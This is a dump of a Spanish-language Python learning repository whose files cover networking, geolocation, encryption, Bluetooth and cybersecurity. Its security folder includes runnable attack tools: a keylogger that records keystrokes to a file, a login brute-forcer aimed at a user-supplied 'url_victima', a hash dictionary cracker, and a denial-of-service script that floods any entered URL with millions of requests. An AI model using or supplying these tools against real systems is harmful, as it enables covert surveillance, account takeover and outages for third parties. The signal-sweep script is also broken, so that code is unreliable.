| # Guardamos el tiempo inicial en una variable 12 | Tiempo_comienzo = time.time() 13 | # Guardamos la respuesta de sr1 con datos ya establecidos 14 | respuesta = sr1(Paquete, timeout=timeout, verbose=False) 15 | # Ponemos la condicional a esa respuesta 16 | if respuesta: 17 | round_trip_time = (time.time() - Tiempo_comienzo) * 1000 18 | print(f"Ping a la IP {Ip_destino}: Respuesta lograda! TTL={respuesta.ttl} Tid={round_trip_time:.2f}ms") 19 | else: 20 | print(f"Ping a la IP {Ip_destino}: No hubo respuesta.") 21 | 22 | if __name__ == "__main__": 23 | Ip_destino_ping = input("Por favor ingrese la IP destino, del ping: ") 24 | PingAUnaIp(Ip_destino_ping) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/02_Keylogger.py: -------------------------------------------------------------------------------- 1 | # Primero se instala pynput con el siguiente comando "pip install pynput" 2 | # Luego de bajar librerias, las importamos 3 | from pynput.keyboard import Key, Listener 4 | 5 | #Creamos la variable keys con [] que esto lo convierte en una lista 6 | keys = [] 7 | 8 | # Creamos la funcion presionar tecla, con el fin de que cara tecla que se pulse 9 | # Se convierta en un texto string 10 | def TeclaPresionada(key): 11 | keys.append(key) 12 | ConversorDeString(keys) 13 | 14 | # La siguiente funcion guarda el string de la tecla que se oprimio en un .text llamado log 15 | def ConversorDeString(keys): 16 | with open('log.txt','w') as logfile: 17 | for key in keys: 18 | key = str(key).replace("'"," ") 19 | logfile.write(key) 20 | 21 | # El software se cancela con la tecla escape 22 | def TeclaSoltada(key): 23 | if key == Key.esc: 24 | return False 25 | 26 | # En este codigo se muestra cuando se prima una tecla, que funcion se realiza, 27 | # Mientras el software esta en modo escucha la pulsacion de teclas 28 | with Listener(on_press = TeclaPresionada, on_release= TeclaSoltada) as listener: 29 | listener.join() 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Relacionado_a_IP/06_Distancia_con_geolocalizacion.py: -------------------------------------------------------------------------------- 1 | # Primero se instala pytube con el siguiente comando "pip install geopy" 2 | #Primero se instala pytube con el siguiente comando "pip install ArcGIS" 3 | # importando Geopy 4 | from geopy.geocoders import ArcGIS 5 | from geopy.distance import geodesic 6 | 7 | #Se declara l usuario de ArcGIS 8 | geolocator = ArcGIS(user_agent="my_application") 9 | 10 | #Solicitamos los nombres de la ciudad inicial y la ciudad final 11 | nombre_ciudad_1 = input("Ingrese el nombre de la ciudad inicial : ") 12 | nombre_ciudad_2 = input("Ingrese el nombre de la ciudad final : ") 13 | 14 | #Con los nombres y ArcGIS guardamos la ubicacion de cada ciudad 15 | position_1 = geolocator.geocode(nombre_ciudad_1) 16 | position_2 = geolocator.geocode(nombre_ciudad_2) 17 | 18 | #la ubicacion de cada ciudad se convierte en coordenadas 19 | coords_1 = ((position_1.latitude, position_1.longitude )) 20 | coords_2 = ((position_2.latitude, position_2.longitude )) 21 | 22 | #Con geodesic, se logra la distancia en kilometros de las 2 ciudades 23 | distancia = str(geodesic(coords_1, coords_2).km) 24 | 25 | #Imprimimos la respuesta 26 | print("La distancia entre la ciudad "+ nombre_ciudad_1 +" y la ciudad "+ nombre_ciudad_2 + " es de "+distancia+" Kms") 27 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Relacionado_a_IP/05_Mostrar_geolocalizacion_sitio.py: -------------------------------------------------------------------------------- 1 | # Primero se instala geopy con el siguiente comando "pip install geopy" 2 | #Primero se instala folium con el siguiente comando "pip install folium" 3 | # importando Geopy 4 | import geopy 5 | import folium 6 | # obtener un manejador para un objeto de servicio de Nominatim 7 | service = geopy.Nominatim(user_agent = "myGeocoder") 8 | # Solicitamos el nombre de la ciudad que se va a mostrar en el mapa 9 | nombre_ciudad = input("Ingrese el nombre de la ciudad que necesita localizar: ") 10 | # guardamos el nombre de la ciudad codificado en la variable 11 | ubicacion = service.geocode(nombre_ciudad) 12 | # latitud 13 | #print(locationObj.latitude) 14 | # longitud 15 | #print(locationObj.longitude) 16 | 17 | # crear un mapa base centrado en la longitus y latitud de la ciudad escogida 18 | ObjetoMapa = folium.Map(location = [ubicacion.latitude,ubicacion.longitude], zoom_start = 5, tiles='OpenStreetMap') 19 | # crear un objeto marcador para la ciudad escogida 20 | SeñalarUbicacion = folium.Marker(location = [ubicacion.latitude,ubicacion.longitude]) 21 | # añadir marcador al mapa 22 | SeñalarUbicacion.add_to(ObjetoMapa) 23 | # guardamos el mapa en un archivo .html para poderlo visualizar 24 | ObjetoMapa.save('mapa.html') 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/02_Nmap_ejemplo.py: -------------------------------------------------------------------------------- 1 | # Primero se instala python-nmap con el siguiente comando "pip3 install python-nmap" 2 | # Es necesario que en la pagina nmap.org descargue la ultima version de nmap 3 | import nmap 4 | 5 | #En las siguientes lineas, se puede ver informacion de nmap 6 | nmap.__version__ 7 | dir(nmap) 8 | dir(nmap.PortScanner) 9 | 10 | # Guardamos la configuracion de la opcion portsacanner de nmap 11 | ep = nmap.PortScanner() 12 | 13 | #Agregamos la ip del dispositivo que vamos a escanear, tambien los puertos que requerimos ver y su version 14 | ep.scan('192.168.0.10','21,22,80,443,3389','-v') 15 | 16 | # Con el siguiente codigo podemos ver en pantalla el comando nmap de la solicitud 17 | ep.command_line() 18 | 19 | # En este codigo se muestra la cantidad de dispositivos finales que hay en la consulta preparada 20 | ep.all_hosts() 21 | 22 | # Con este codigo se da un rango de dispositivos finales de 10 a 15 por los mismos puertos 23 | ep.scan('192.168.0.10-15','21,22,80,443,3389', '-sV') 24 | 25 | #Vemos el resultado detallado de la consulta 26 | ep['192.168.0.10'] 27 | 28 | # Aqui vemos el estado de la ip 29 | ep['192.168.0.10'].state() 30 | 31 | #Informacion de los protocolos 32 | ep['192.168.0.10'].all_protocols() 33 | 34 | #Guarda la informacion en un excel 35 | ep.csv() -------------------------------------------------------------------------------- /04_CRUD_Python_MySql/templates/editarcontacto.html: -------------------------------------------------------------------------------- 1 | 2 | {%extends 'layout.html'%} 3 | {%block body%} 4 | 5 | 6 | 7 |
8 |
9 |
10 |
11 | 12 | 13 |
14 |
15 | 16 | 17 |
18 |
19 | 20 | 21 |
22 |
23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 33 | 34 | 35 | 36 |
37 | 38 | 39 |
40 | 41 | 42 | 43 |
44 | 45 | {% endblock%} 46 | 47 | 48 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Fuerza_bruta/02_FuerzaBruta_Diccionario_Contraseñas.py: -------------------------------------------------------------------------------- 1 | # Fuerza bruta de diccionario a un hash de contraseña 2 | # Primero se instala hashlib con el siguiente comando "pip install hashlib" 3 | import hashlib 4 | 5 | #Primero guardamos el hash de la contraseña en una variable 6 | hash_inicial = "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08" 7 | 8 | #Guardamos en otra variable, la ruta donde esta el diccionario con las contraseñas 9 | archivo_diccionario = input("ingrese la direccion del diccionario: ") 10 | 11 | #Con el siguiente codigo se recorre la informacion dentro de el diccionario, seleccionando cada posible contraseña 12 | with open(archivo_diccionario, 'r') as file: 13 | diccionario = [line.strip() for line in file] 14 | 15 | #En el siguiente codigo se recorre el diccionarios convirtiendo cada contraseña en hash 16 | for contraseña in diccionario: 17 | hash_calculado = hashlib.sha256(contraseña.encode()).hexdigest() 18 | 19 | #Luego de crear el hash de cada contraseña, se compara con la que queremos descifrar 20 | #Si son identios los hash sale un mensaje indicandolo, si no, sale otro mensaje 21 | if hash_calculado == hash_inicial: 22 | print("la contraseña encontrada es: " + contraseña) 23 | break 24 | else: 25 | print("la contraseña no es la indicada ") 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Escaneos/07_Scapy_IDS.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se realiza un IDS detector de animalias en la red 2 | # Con la libreria de python Scapy 3 | from scapy.all import sniff, IP, TCP 4 | from collections import defaultdict 5 | import time 6 | 7 | # Se crean las variables necesarias 8 | connection_tracker = defaultdict(int) 9 | PORT_SCAN_THRESHOLD = 20 10 | TIME_WINDOW = 60 # segundos 11 | ip_timestamps = defaultdict(list) 12 | 13 | # Se crea la funcion del IDS 14 | def detect_intrusion(packet): 15 | if packet.haslayer(IP) and packet.haslayer(TCP): 16 | ip_src = packet[IP].src 17 | tcp_flags = packet[TCP].flags 18 | current_time = time.time() 19 | 20 | # Solo analizamos paquetes SYN 21 | if tcp_flags == "S": 22 | ip_timestamps[ip_src].append(current_time) 23 | # Filtra eventos viejos 24 | ip_timestamps[ip_src] = [t for t in ip_timestamps[ip_src] if current_time - t < TIME_WINDOW] 25 | 26 | # Si se excede el umbral, hay posible escaneo 27 | if len(ip_timestamps[ip_src]) > PORT_SCAN_THRESHOLD: 28 | print(f"[ALERTA] Posible escaneo de puertos detectado desde {ip_src}") 29 | ip_timestamps[ip_src] = [] # Reset para evitar spam de alertas 30 | 31 | # Iniciar captura (puedes cambiar "eth0" por tu interfaz de red) 32 | print("IDS corriendo... Presiona Ctrl+C para detener.") 33 | sniff(filter="tcp", prn=detect_intrusion, store=0) -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/21_Requests_Github_Dejar_De_Seguir.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para guardar mucha informacion de una usuario web 2 | # Se usaran 2 librerias flask y requests, para ver la informacion de el usuario web 3 | # Primero se instala captcha con el siguiente comando "pip install flask requests" 4 | import requests 5 | 6 | import time 7 | 8 | # Tu usuario de GitHub 9 | username = 'Usuario_Github' 10 | 11 | # Tu token personal (de GitHub) 12 | token = 'Token_Alfanumerico' 13 | 14 | # Ruta al archivo con usuarios que quieres dejar de seguir 15 | archivo = 'no_me_siguen.txt' 16 | 17 | headers = { 18 | 'Authorization': f'token {token}', 19 | 'Accept': 'application/vnd.github+json' 20 | } 21 | 22 | # Leer usuarios del archivo 23 | with open(archivo, 'r', encoding='utf-8') as f: 24 | usuarios = [line.strip() for line in f if line.strip()] 25 | 26 | # Iterar sobre la lista y dejar de seguir 27 | for usuario in usuarios: 28 | url = f'https://api.github.com/user/following/{usuario}' 29 | response = requests.delete(url, headers=headers) 30 | 31 | if response.status_code == 204: 32 | print(f'(+) Dejaste de seguir a: {usuario}') 33 | elif response.status_code == 404: 34 | print(f'(+-) No estabas siguiendo a: {usuario}') 35 | else: 36 | print(f'(-) Error al dejar de seguir a {usuario}: {response.status_code} - {response.text}') 37 | 38 | time.sleep(1) # Espera 1 segundo por seguridad (limita velocidad) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 |

• PROYECTOS PYTHON

3 | 4 | 5 | ![Python](https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54) 6 | 7 | Los pasos para poner en ejecución son los siguientes 8 | Ir a la pagina web de Python y descargarlo para tu sistema operativo, escoger la opción "add path" con el fin de poder ejecutar comandos de Python en la terminal de comandos, y tambien descargarmos Git para las versiones del proyecto 9 | 10 | ```Pagina web 11 | https://www.python.org/downloads/ 12 | https://git-scm.com/ 13 | ``` 14 | 15 | Luego de tener instalado Python podemos ejecutar los siguientes comandos hasta llegar a la carpeta del proyecto y estando ahí ejecutamos los siguientes codigos 16 | 17 | ```Terminal de comandos 18 | cd 19 | python --version 20 | pip --version 21 | ``` 22 | 23 | Despues de haber instalado python y confirmar la version, instalamos git y descargamos el proyecto. 24 | ```Terminal de comandos 25 | git --version 26 | git init 27 | git clone https://github.com/guevaraStian/Proyectos_Python.git 28 | Cd Proyectos_Python 29 | git push origin master 30 | ``` 31 | 32 | Posteriormente ingresamos a la carpeta creada e instalamos las librerias y ejecutamos el proyecto. 33 | 34 | ```Terminal de comandos 35 | pip install 36 | python 37 | ``` 38 | Luego que el proyecto ya se este ejecutando se darán diferentes respuestas en consola o pestañas emergentes 39 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/02_Pefile_Encuentra_Librerias_En_Ejecutable.py: -------------------------------------------------------------------------------- 1 | # En este software se muestra un ejemplo de analisis forense estatico 2 | # Con la libreria pefile se analiza el .exe de notepad y se muestra 3 | # que librerias usa ese ejecutable 4 | # pip install pefile 5 | import pefile 6 | 7 | # Se indica la ruta del ejecutable 8 | pe = pefile.PE("C:\\Windows\\System32\\notepad.exe") 9 | 10 | # Se realiza un ciclo for que muestra en pantalla las direccioon, 11 | # tamaño de memoria y de tamaño de archivo 12 | for section in pe.sections: 13 | print(f"La Sección: {section.Name.decode().rstrip('\\x00')}") 14 | print(f" La Dirección Virtual del archivo: {hex(section.VirtualAddress)}") 15 | print(f" El tamaño en memoria: {hex(section.Misc_VirtualSize)}") 16 | print(f" El tamaño del archivo: {hex(section.SizeOfRawData)}") 17 | print() 18 | 19 | # Mostrar la dirección de entrada del ejecutable 20 | print(f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}") 21 | 22 | # Se imprime en pantalla la información de la cabecera 23 | print(f"Image Base: {hex(pe.OPTIONAL_HEADER.ImageBase)}") 24 | 25 | # Mostramos los imports del archivo 26 | if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): 27 | for entry in pe.DIRECTORY_ENTRY_IMPORT: 28 | print(f"Importado de: {entry.dll.decode()}") 29 | for imp in entry.imports: 30 | print(f" {hex(imp.address)} - {imp.name.decode() if imp.name else 'Import by ordinal'}") 31 | 32 | # Cerramos la ejecucion de la libreria 33 | pe.close() -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Fuerza_bruta/04_FuerzaBruta_mechanize.py: -------------------------------------------------------------------------------- 1 | # En este codigo se muestra un software para hace fuerza bruta a un login 2 | # Primero importamos las libreria mechanize 3 | # pip install mechanize 4 | 5 | 6 | import mechanize 7 | import time 8 | 9 | # Se crean las variables necesarias 10 | url_victima = input("Por favor, la direccion url de la pagina web (ej: http://localhost:8080/login) : ") 11 | # url_victima = "http://localhost:8080/login" 12 | usuarios = "admin" 13 | contrasena = ["1234", "admin", "toor", "letmein", "root", "password"] 14 | 15 | 16 | # Crear navegador 17 | br = mechanize.Browser() 18 | br.set_handle_robots(False) # Ignorar robots.txt 19 | br.set_handle_refresh(False) 20 | br.addheaders = [('User-agent', 'Mozilla/5.0')] 21 | 22 | # Probar cada contraseña 23 | for pwd in contrasena: 24 | try: 25 | br.open(url_victima) 26 | br.select_form(nr=0) # Selecciona el primer formulario de la página 27 | 28 | # Completar campos del formulario 29 | br["usuarios"] = usuarios 30 | br["password"] = pwd 31 | 32 | response = br.submit() 33 | content = response.read().decode() 34 | 35 | # Verificar si el login fue exitoso 36 | if "Login incorrecto" not in content: 37 | print(f"Contraseña encontrada: {pwd}") 38 | break 39 | else: 40 | print(f"Falló: {pwd}") 41 | 42 | time.sleep(1) # Evita hacer muchas peticiones seguidas 43 | 44 | except Exception as e: 45 | print(f"Error con {pwd}: {e}") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Ataques_de_intrusion/07_DenegacionDeServicio_Web.py: -------------------------------------------------------------------------------- 1 | # En este kDenegacion de servicio se pone un limite de paqeutes 2 | # Que pueden afectar una pagina web sencilla tumbandola con 50000 peticiones 3 | # Primero se instala requests con el siguiente comando "pip install requests" 4 | # Luego de bajar librerias, las importamos 5 | import requests 6 | import threading 7 | import time 8 | 9 | # Configura la URL de destino (usa tu propio servidor local o autorizado) 10 | url = input("Por favor, la direccion url de la pagina web (ej: www.google.com) : ") 11 | # url = "http://192.168.1.6:8000" 12 | 13 | # Cantidad de peticiones por un hilo 14 | Peticiones_Hilo = 5000 15 | 16 | # Número de hilos (clientes simulados simultáneos) 17 | Cantidad_Hilos = 1000 18 | 19 | # Funcion que ejecuta solicitudes GET 20 | def send_requests(): 21 | for _ in range(Peticiones_Hilo): 22 | try: 23 | response = requests.get(url) 24 | print(f"Estado: {response.status_code}") 25 | except requests.exceptions.RequestException as e: 26 | print(f"Error, se cayo el servidor: {e}") 27 | 28 | # Calcular tiempo actual 29 | Tiempo_inicial = time.time() 30 | 31 | # Crear y lanzar los hilos 32 | Hilos_web = [] 33 | for _ in range(Cantidad_Hilos): 34 | Hilo = threading.Thread(target=send_requests) 35 | Hilo.start() 36 | Hilos_web.append(Hilo) 37 | 38 | # Esperar a que todos los hilos terminen 39 | for Hilo in Hilos_web: 40 | Hilo.join() 41 | 42 | Tiempo_Final = time.time() 43 | print(f"Test completo en {Tiempo_Final - Tiempo_inicial:.2f} segundos") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/No_Se_Han_Probado/16_Escoger_bluetooth_Enviar_Texto.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se crea un software que permite enviar 2 | # Informacion por medio de bloutu a dispositivos cercanos 3 | # Con la libreria de python 4 | # pip install bleak 5 | import asyncio 6 | from bleak import BleakScanner, BleakClient 7 | 8 | # UUID de la característica BLE donde escribirás texto: 9 | WRITE_UUID = "0000ffe1-0000-1000-8000-00805f9b34fb" # <-- reemplaza esto 10 | 11 | async def main(): 12 | print("Escaneando dispositivos Bluetooth...") 13 | devices = await BleakScanner.discover(timeout=5.0) 14 | 15 | if not devices: 16 | print("No se encontraron dispositivos.") 17 | return 18 | 19 | # Mostrar lista con índices 20 | for idx, dev in enumerate(devices, start=1): 21 | print(f"{idx}. {dev.name} [{dev.address}]") 22 | 23 | # Elegir dispositivo 24 | num = int(input("\nSelecciona el dispositivo por índice: ")) 25 | device = devices[num - 1] 26 | 27 | print(f"\nConectando a {device.name} ({device.address})...") 28 | 29 | async with BleakClient(device.address) as client: 30 | if not client.is_connected: 31 | print("Error: no se pudo conectar.") 32 | return 33 | 34 | print("Conectado!") 35 | 36 | # Pedir texto 37 | msg = input("Escribe el texto a enviar: ") 38 | 39 | # Convertir a bytes 40 | data = msg.encode("utf-8") 41 | 42 | # Enviar 43 | await client.write_gatt_char(WRITE_UUID, data) 44 | print("Texto enviado correctamente.") 45 | 46 | asyncio.run(main()) 47 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/02_ZipFile_Esteganografia_desencriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De extraer un archivo texto en una imagen png 3 | # Pirmero descargamos y usamos las librerias 4 | # Primero se instala zipfile con el siguiente comando 5 | # "pip install zipfile" 6 | import zipfile 7 | import os 8 | 9 | # Con el siguiente codigo se extrae un comprimido de adentro de la imagen 10 | def extraer_zip_de_imagen(imagen_con_zip, salida_zip): 11 | with open(imagen_con_zip, 'rb') as archivo: 12 | datos = archivo.read() 13 | 14 | # Fin estándar de un PNG: IEND chunk + CRC 15 | fin_png = b'\x00\x00\x00\x00IEND\xaeB`\x82' 16 | index_fin = datos.find(fin_png) 17 | 18 | if index_fin == -1: 19 | print("La imagen que tiene la informacion, no se encontro") 20 | return 21 | 22 | # El .zip empieza justo después del final del PNG 23 | inicio_zip = index_fin + len(fin_png) 24 | 25 | with open(salida_zip, 'wb') as zip_file: 26 | zip_file.write(datos[inicio_zip:]) 27 | 28 | print(f"El archivo zip extraido se llama: {salida_zip}") 29 | 30 | # En este codigo se muestra como extraer un texto de un archivo zip 31 | def extraer_txt_de_zip(archivo_zip, carpeta_destino='extraido'): 32 | os.makedirs(carpeta_destino, exist_ok=True) 33 | with zipfile.ZipFile(archivo_zip, 'r') as zipf: 34 | zipf.extractall(carpeta_destino) 35 | print(f"El archivo de text extraido del zip es: {carpeta_destino}") 36 | 37 | # EJECUTAR FUNCIONES EXTRACCIÓN 38 | extraer_zip_de_imagen('imagen_con_mensaje.png', 'extraido.zip') 39 | extraer_txt_de_zip('extraido.zip') 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/08_Graficador_General_Señales.py: -------------------------------------------------------------------------------- 1 | # En este ejemplo de codigo se muestra la creacion de un radar 2 | # con la distancia de los dispositivos drones cerca 3 | # pip install pyrtlsdr numpy matplotlib 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | import pandas as pd 7 | 8 | # Parámetros de la señal 9 | fs = 10000 # Frecuencia de muestreo (Hz) 10 | duration = 0.01 # Duración de cada frecuencia (segundos) 11 | f_start = 1 # Frecuencia inicial (Hz) 12 | f_end = 3e12 # Frecuencia final (Hz) 13 | step_freq = 100 # Paso de frecuencia (Hz) 14 | 15 | # Tiempo para cada segmento 16 | t = np.arange(0, duration, 1/fs) 17 | 18 | # Arreglo para almacenar toda la señal 19 | signal = np.array([]) 20 | frequencies = [] 21 | 22 | # Generar la señal para cada frecuencia 23 | for f in range(f_start, f_end + 1, step_freq): 24 | segment = np.sin(2 * np.pi * f * t) 25 | signal = np.concatenate((signal, segment)) 26 | frequencies.extend([f]*len(segment)) 27 | 28 | # Crear vector de tiempo global 29 | total_time = np.arange(0, len(signal)) / fs 30 | 31 | # Graficar señal 32 | plt.figure(figsize=(10, 4)) 33 | plt.plot(total_time, signal) 34 | plt.title("Señal con barrido de frecuencia") 35 | plt.xlabel("Tiempo (s)") 36 | plt.ylabel("Amplitud") 37 | plt.grid(True) 38 | plt.tight_layout() 39 | plt.show() 40 | 41 | # Guardar muestras en archivo CSV 42 | df = pd.DataFrame({ 43 | 'Tiempo (s)': total_time, 44 | 'Amplitud': signal, 45 | 'Frecuencia (Hz)': frequencies 46 | }) 47 | df.to_csv("senal_barrido_frecuencia.csv", index=False) 48 | print("Archivo CSV guardado como 'senal_barrido_frecuencia.csv'") 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/08_Encriptacion_archivo_fernet.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo se muestra como se crea una llave o key para encriptar un la informacion de un texto 2 | # Luego se reemplaza el archivo por uno encriptado y por ultimo se desencripta 3 | # pip install cryptography 4 | from cryptography.fernet import Fernet 5 | 6 | # Con el siguiente codigo se crea una llave, llave o key secreta y aleatoria 7 | def generar_llave(): 8 | llave = Fernet.generate_key() 9 | with open("llave.key", "wb") as archivo_llave: 10 | archivo_llave.write(llave) 11 | 12 | # Se crea la funcion de cargar llave 13 | def subir_llave(): 14 | return open("llave.key", "rb").read() 15 | 16 | # El siguiente codigo explica como se cifra la informacion de archivo con la libreria fernet 17 | def encriptar_archivo(nombre_archivo): 18 | llave = subir_llave() 19 | fernet = Fernet(llave) 20 | 21 | with open(nombre_archivo, "rb") as archivo: 22 | datos = archivo.read() 23 | 24 | datos_cifrados = fernet.encrypt(datos) 25 | 26 | with open(nombre_archivo, "wb") as archivo: 27 | archivo.write(datos_cifrados) 28 | 29 | # En la siguiente funcion se muestra como se descifran los datos 30 | def desencriptar_archivo(nombre_archivo): 31 | llave = subir_llave() 32 | fernet = Fernet(llave) 33 | 34 | with open(nombre_archivo, "rb") as archivo: 35 | datos_cifrados = archivo.read() 36 | 37 | datos_descifrados = fernet.decrypt(datos_cifrados) 38 | 39 | with open(nombre_archivo, "wb") as archivo: 40 | archivo.write(datos_descifrados) 41 | 42 | # Se ejecutan las 3 funciones creadas anteriormente 43 | generar_llave() 44 | encriptar_archivo("documento.txt") 45 | desencriptar_archivo("documento.txt") 46 | 47 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/18_Cookies.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para crear y validar un Cookie 2 | # Se usaran 3 librerias flask, json y base64, para crear la imagen un software que de cookies 3 | # Primero se instala captcha con el siguiente comando "pip install flask base64" 4 | from flask import Flask, request, make_response 5 | import json 6 | import base64 7 | 8 | app = Flask(__name__) 9 | 10 | # Se programa un diccionario como JSON y luego a base64 11 | def encode_cookie_data(data): 12 | json_data = json.dumps(data) 13 | return base64.b64encode(json_data.encode()).decode() 14 | 15 | # Decodifica y convierte de nuevo a diccionario 16 | def decode_cookie_data(encoded_data): 17 | try: 18 | decoded = base64.b64decode(encoded_data).decode() 19 | return json.loads(decoded) 20 | except Exception: 21 | return {} 22 | 23 | @app.route('/guardar_cookie') 24 | def set_cookie(): 25 | # Información que queremos guardar 26 | cookie_data = { 27 | "user": "Sebas123", 28 | "theme": "dark", 29 | "language": "es", 30 | "session_id": "123abc456", 31 | "last_visited": "/productos", 32 | "logged_in": True 33 | } 34 | 35 | encoded = encode_cookie_data(cookie_data) 36 | response = make_response("Cookies creada.") 37 | response.set_cookie('user_data', encoded, max_age=60*60*24*7) # 7 días 38 | return response 39 | 40 | @app.route('/obtener_cookie') 41 | def get_cookie(): 42 | encoded = request.cookies.get('user_data') 43 | if encoded: 44 | data = decode_cookie_data(encoded) 45 | return f"Los datos actuales de la cookie:
{json.dumps(data, indent=2)}
" 46 | return "No hay cookie 'user_data'." 47 | 48 | if __name__ == '__main__': 49 | app.run(debug=True) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/13_Bleak_Info_Bluetooth.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se crea un software que saca informacion de Bluetooth 2 | # Con la libreria de python bleak 3 | # pip install pybluez bleak 4 | import asyncio 5 | from bleak import BleakScanner, BleakClient 6 | 7 | async def conectar_y_extraer_info(): 8 | print("Escaneando dispositivos Bluetooth...") 9 | dispositivos = await BleakScanner.discover(timeout=5.0) 10 | 11 | if not dispositivos: 12 | print("No se detectaron dispositivos.") 13 | return 14 | 15 | # Mostramos dispositivos 16 | for i, d in enumerate(dispositivos): 17 | print(f"[{i}] {d.name or 'Desconocido'} | {d.address} | RSSI: {d.rssi} dBm") 18 | 19 | # Selecciona uno 20 | indice = int(input("Selecciona el índice del dispositivo a conectar: ")) 21 | device = dispositivos[indice] 22 | 23 | print(f"Conectando a {device.name or 'Desconocido'} ({device.address})...") 24 | 25 | async with BleakClient(device.address) as client: 26 | print("Conectado.") 27 | 28 | # Listar servicios y características disponibles 29 | for service in client.services: 30 | print(f"\n📡 Servicio: {service.uuid}") 31 | for char in service.characteristics: 32 | props = ', '.join(char.properties) 33 | print(f" - Característica: {char.uuid} ({props})") 34 | # Si es legible, intentamos leer 35 | if "read" in char.properties: 36 | try: 37 | value = await client.read_gatt_char(char.uuid) 38 | print(f"Valor leído: {value}") 39 | except Exception as e: 40 | print(f"Error al leer: {e}") 41 | 42 | if __name__ == "__main__": 43 | asyncio.run(conectar_y_extraer_info()) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/01_Piexif_Esteganografia_desencriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De extraer informacion en una imagen 3 | # Pirmero descargamos y usamos las librerias 4 | # "pip install piexif" 5 | 6 | import os 7 | from PIL import Image 8 | import piexif 9 | 10 | # Con el siguiente codigo se extrae el metadato que esta encriptado 11 | def extraer_metadato(ruta_imagen): 12 | try: 13 | imagen = Image.open(ruta_imagen) 14 | exif_dict = piexif.load(imagen.info.get('exif', b'')) 15 | 16 | # Extraer UserComment (ID 37510) 17 | user_comment = exif_dict["Exif"].get(piexif.ExifIFD.UserComment, None) 18 | if user_comment: 19 | # Eliminar encabezado '\x00\x00' y decodificar 20 | texto = user_comment[2:].decode('utf-8', errors='ignore') 21 | return texto 22 | else: 23 | return None 24 | except Exception as e: 25 | print(f"(-) No se pudo leer el dato: {e}") 26 | return None 27 | 28 | def main(): 29 | print("!! Empieza a leer los metadatos de la imagen !!") 30 | 31 | # La siguiente pregunta pide la ruta de la imagen 32 | ruta_imagen = input("Ruta de la imagen (ej. editada_foto.jpg): ").strip() 33 | if not os.path.exists(ruta_imagen): 34 | print("(-) No se encontro la imagen") 35 | return 36 | 37 | if not ruta_imagen.lower().endswith((".jpg", ".jpeg")): 38 | print("(-) La imagen no es jpg") 39 | return 40 | 41 | # 2. Extraer y mostrar dato 42 | dato = extraer_metadato(ruta_imagen) 43 | if dato: 44 | print(f"(+) El dato encontrado en la imagen es : '{dato}'") 45 | else: 46 | print("(-) No se encontro metadatos") 47 | 48 | if __name__ == "__main__": 49 | main() 50 | 51 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/09_Graficador_Potencias_Electromagneticas_Pyrtlsdr.py: -------------------------------------------------------------------------------- 1 | # En este ejemplo de codigo se muestra un graficador de potencias electromagneticas 2 | # con la distancia de los dispositivos en una frecuencia 3 | # pip install pyrtlsdr matplotlib numpy 4 | import numpy as np 5 | import matplotlib.pyplot as plt 6 | from rtlsdr import RtlSdr 7 | 8 | # Parámetros del barrido 9 | freq_start = 88e6 # Frecuencia inicial en Hz (por ejemplo, 88 MHz) 10 | freq_end = 108e6 # Frecuencia final en Hz (por ejemplo, 108 MHz) 11 | freq_step = 2e6 # Paso de frecuencia (ancho de banda de la muestra), típico ~2 MHz 12 | sample_rate = 2.4e6 # Tasa de muestreo en Hz 13 | num_samples = 1024 # Número de muestras por paso 14 | 15 | # Inicializa el SDR 16 | sdr = RtlSdr() 17 | sdr.sample_rate = sample_rate 18 | sdr.gain = 'auto' 19 | 20 | frequencies = [] 21 | powers = [] 22 | 23 | try: 24 | freqs = np.arange(freq_start, freq_end, freq_step) 25 | 26 | for freq in freqs: 27 | print(f"Escaneando {freq / 1e6:.2f} MHz...") 28 | sdr.center_freq = freq 29 | samples = sdr.read_samples(num_samples) 30 | 31 | # FFT y cálculo de potencia 32 | power = np.abs(np.fft.fftshift(np.fft.fft(samples)))**2 33 | power_db = 10 * np.log10(power) 34 | freqs_axis = np.linspace(freq - sample_rate/2, freq + sample_rate/2, num_samples) 35 | 36 | frequencies.extend(freqs_axis) 37 | powers.extend(power_db) 38 | 39 | finally: 40 | sdr.close() 41 